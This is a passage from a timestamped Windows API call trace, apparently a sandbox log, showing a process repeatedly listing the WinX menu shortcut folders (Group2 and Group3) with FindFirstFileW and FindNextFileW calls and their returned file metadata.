lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x41 [0212.792] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0212.794] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.795] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="1-RUN~1.LNK")) returned 1 [0212.795] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="2-SEAR~1.LNK")) returned 1 [0212.795] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="3-WIND~1.LNK")) returned 1 [0212.795] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="4-CONT~1.LNK")) returned 1 [0212.795] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="5-TASK~1.LNK")) returned 1 [0212.796] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.796] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.796] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0212.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0212.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0212.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.797] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2", lpFilePart=0x0) returned 0x41 [0212.797] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group2\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group2\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.798] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d1ab059, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.799] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d15ec85, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="1 - Run.lnk", cAlternateFileName="1-RUN~1.LNK")) returned 1 [0212.799] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="2 - Search.lnk", cAlternateFileName="2-SEAR~1.LNK")) returned 1 [0212.799] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x455, dwReserved0=0x0, dwReserved1=0x0, cFileName="3 - Windows Explorer.lnk", cAlternateFileName="3-WIND~1.LNK")) returned 1 [0212.800] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d138a8d, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d138a8d, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="4 - Control Panel.lnk", cAlternateFileName="4-CONT~1.LNK")) returned 1 [0212.800] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5 - Task Manager.lnk", cAlternateFileName="5-TASK~1.LNK")) returned 1 [0212.800] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.800] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0212.800] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0212.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0212.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0212.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.802] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x41 [0212.802] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0212.804] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.804] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="01-COM~1.LNK")) returned 1 [0212.804] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="01A-WI~1.LNK")) returned 1 [0212.804] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="02-COM~1.LNK")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="02A-WI~1.LNK")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="03-COM~1.LNK")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="04-DIS~1.LNK")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="04-1-N~1.LNK")) returned 1 [0212.805] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="05-DEV~1.LNK")) returned 1 [0212.806] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="06-SYS~1.LNK")) returned 1 [0212.806] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="07-EVE~1.LNK")) returned 1 [0212.806] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="08-POW~1.LNK")) returned 1 [0212.806] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="09-MOB~1.LNK")) returned 1 [0212.806] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="10-PRO~1.LNK")) returned 1 [0212.807] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0212.807] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.807] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0212.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc040) returned 1 [0212.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dc000) returned 1 [0212.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dc110) returned 1 [0212.808] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1e0dbbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x41 [0212.808] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1e0dbe20 | out: lpFindFileData=0x1e0dbe20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0212.809] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.809] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="01-COM~1.LNK")) returned 1 [0212.810] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="01A-WI~1.LNK")) returned 1 [0212.810] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="02-COM~1.LNK")) returned 1 [0212.810] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dbde0 | out: lpFindFileData=0x1e0dbde0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, 